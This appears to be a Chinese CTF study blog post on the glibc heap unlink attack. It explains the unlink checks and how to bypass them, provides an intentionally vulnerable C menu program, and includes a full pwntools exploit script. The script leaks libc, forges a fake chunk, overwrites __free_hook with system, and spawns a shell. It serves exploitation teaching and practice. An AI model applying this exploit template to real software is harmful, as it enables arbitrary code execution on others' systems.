当前位置: 首页 > news >正文

【我的 PWN 学习手札】Unlink Attack

目录

前言

一、Unlink介绍

二、保护和限制

(1)FD->bk == P AND BK->fd == P

(2)chunksize(P) == prev_size(next_chunk(P))

(3)largebin chunk

三、适用场景 

四、利用与绕过

(1)保护一绕过 

(2)保护二绕过 

(3)检查三绕过 

(4)其他trick 

五、测试代码与模板


前言

Unlink是一个堆管理中的一个操作,用于将bin中双向链表组织的堆块从链中取出。然而,我们可以利用这一过程进行的写操作,满足条件的情况下实现任意地址读写。 


一、Unlink介绍

在除了fastbin、tcachebin的其他空闲堆块的管理bin中,如shortbin、largebin、unsortedbin,内部组织都是双向链表。如下图(示意图来自好好说话之unlink-CSDN博客 )

 当需要将second_chunk脱链时,使用unlink对second_chunk操作。不难看出,实际上是这样一个过程:

我的上一个的下一个=我的下一个,我的下一个的上一个=我的上一个

这样“我”就可以取出,因为链上已经没有指针指向“我”,即所谓的脱链。代码上看既是:

(“我”->fd)->bk=(“我”->bk)->fd

转换一下:

FD->bk = BK;BK->fd = FD

其中FD=“我”->fd,BK=“我”->bk。这正是写在glibc源码中的unlink的核心代码

#define unlink(AV, P, BK, FD) {                                            FD = P->fd;								      BK = P->bk;								      if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  else {								      FD->bk = BK;							      BK->fd = FD;							      ...							      }									      
}

二、保护和限制

(1)FD->bk == P AND BK->fd == P

if (__builtin_expect(FD->bk != P || BK->fd != P, 0))malloc_printerr(check_action, "corrupted double-linked list", P, AV);

很明显这个操作是对FD->bk和BK->fd的简单检查

简单来说,(尚未脱链的)链表中:

我的下一个的上一个 == 我 == 我的上一个的下一个

(2)chunksize(P) == prev_size(next_chunk(P))

if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))malloc_printerr("corrupted size vs. prev_size");

这一个操作也很好理解其思路

简单来说

一个堆块的size保存在两个部分:

堆块头头部字段(size)物理相邻的下一个堆块(prev_size)

这两个数值表示的堆块大小应该相等(注意是表示的而非数值,因为size的低三字节用作控制字段)。

(3)largebin chunk

if (!in_smallbin_range(chunksize_nomask(P)) && __builtin_expect(P->fd_nextsize != NULL, 0)) {if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);

 简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查

三、适用场景 

首先讲一下Unlink的利用场景。

1、chunk_list

2、overflow 

题目往往会有这样一个场景:一个list数组,内部保存了一些heap分配来的指针

然后对于这些指针有读写的权限。——如果这些指针我们能控制就好了,这样就做到了任意地址读写

简单的话,这个数组保存在bss段上,再不济是这个数组也是heap分配来的,难一点可能PIE开启了。总之,我们会想方设法得到这个数组的地址。然后开始进行后续利用

四、利用与绕过

(1)保护一绕过 

我们可以构造一个fakechunk,使得: 

fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18
fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10

结合上图看就很容易理解了——对于fakechunk来说,是不是满足了P->fd->bk==P==P->bk->fd?

(2)保护二绕过 

有两种方法:

1.将 chunk2 的 prev_size 修改成 fake chunk 的 size。

        很直接,没什么好说的

2.将 size 和 prev_size 修改为 0 。

        这是利用了next_chunk(P)实际上是通过ptr+size的方式索引到物理相邻的下一块地址的。这么修改,实际上next_chunk(P)=P,自然也能满足条件。

但是glibc-2.29 起多了对 size 和 prev_size 的检查,第二种方式失效。

(3)检查三绕过 

更简单了,,不要申请largebin大小的chunk,申请smallbin范围内的chunk即可。。。

(4)其他trick 

触发unlink,往往是通过free物理相邻的下一块chunk,检查到该chunk的上一块处于free状态(size的prev_inuse为0),就用unlink将上一块脱链后合并。

unlink必然是在双向链表的场景,怎么保证呢?这是因为凡是fastbin、tcachebin的chunk的物理相邻chunk的prev_inuse位始终置为1,所以凡是prev_inuse位置为0,那么其物理相邻的上一块chunk必然是在smallbin、largebin、unsortedbin。

因此我们需要溢出来将prev_inuse来置为0,所以在只有off-by-null或者off-by-one的情况下即可利用。

为什么溢出一位即可利用,chunk的size字段前还有prev_size字段,也是需要溢出写的呀?

如果溢出字节数够多,自然没什么可讨论的。

如果只能溢出一个字节呢?其实这个字段并不需要溢出就能修改,chunk具有prev_size复用的情况存在,即,如果当前chunk被启用,会视申请chunk的大小,选择复用下一个物理相邻chunk的prev_size字段——因为上一个chunk被启用了,那么下一个chunk肯定不会和上一个合并,也就用不到prev_size字段,这是空间利用的一种优化。

读者可以试着申请一下(64位下)0x18大小的堆块(当然0x25,0x107等都可以)只要个位是(1~8),即可触发这一复用。

五、测试代码与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())# leak libc
add(0,0xa0)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7075d0200000-0x7075d059bb78
success(hex(libc_base))# chunk list start: 00000000004040C0
add(2,0xf0) # 4040C0+2*8=4040d0  fake_chunk
add(3,0xf0) # 4040c0+3*8=4040d8
add(4,0x10)  # 4040c0+4*8=4040e0fake_size=0x101
fake_chunk=b''
fake_chunk+=p64(0)              #prev_size
fake_chunk+=p64(fake_size)      #size
fake_chunk+=p64(0x4040d0-0x8*3) #fd
fake_chunk+=p64(0x4040d0-0x8*2) #bk
fake_chunk=fake_chunk.ljust(0xf0,b'a')
prev_size_fake=0xf0
payload=fake_chunk+p64(prev_size_fake)+p8(0)
gdb.attach(io)
pause()
edit(2,len(payload),payload)
delete(3)payload=p64(0)+p64(libc_base+libc.sym['__free_hook'])
edit(2,0x10,payload)
edit(0,0x8,p64(libc_base+libc.sym['system']))
add(5,0x20)
edit(5,0x8,b'/bin/sh\x00')
delete(5)
io.interactive() 
http://www.lryc.cn/news/438293.html

相关文章:

  • 算法笔试-编程练习-好题-04
  • 使用Rustup快速无缝升级Rust
  • pytorch qwen2-vl自定义数据全量微调
  • 切换淘宝最新npm镜像源是
  • 全国历年高考真题2008-2024
  • 【vue-media-upload】一个好用的上传图片的组件,注意事项
  • linux第一课(操作系统核心)
  • 【期末复习】软件项目管理
  • C# List定义和常用方法
  • 如何在实际应用中更好地利用字典功能提高开发效率?
  • Windows 环境下 vscode 配置 C/C++ 环境
  • [通信原理]绪论2:信息量 × 信息熵
  • TCP套接字【网络】
  • 【devops】devops-git之github使用
  • GPT对话知识库——串口通信的数据的组成?起始位是高电平还是低电平?如何用代码在 FreeRTOS 中实现串口通信吗?如何处理串口通信中的数据帧校验吗?
  • 从头开始学MyBatis—02基于xml和注解分别实现的增删改查
  • AI音乐创作的新时代:从创意到旋律的智能化转型
  • Spring Boot集成Akka remoting快速入门Demo
  • JVM 调优篇7 调优案例1-堆空间的优化解决
  • 文件格式转换:EXCEL和CSV文件格式互相转换
  • 基于协同过滤的北京森林公园推荐---附源码74454
  • 002 JavaClent操作RabbitMQ
  • lablelme标注的数据转成YOLO v8 格式
  • 【linux】cat 命令
  • 速通sass基础语法
  • Vue: watch5种监听情况
  • Android 车联网——汽车系统介绍(附2)
  • C++ 链表
  • 中国初创公司数量下降了98%
  • 【SSRF漏洞】——http协议常见绕过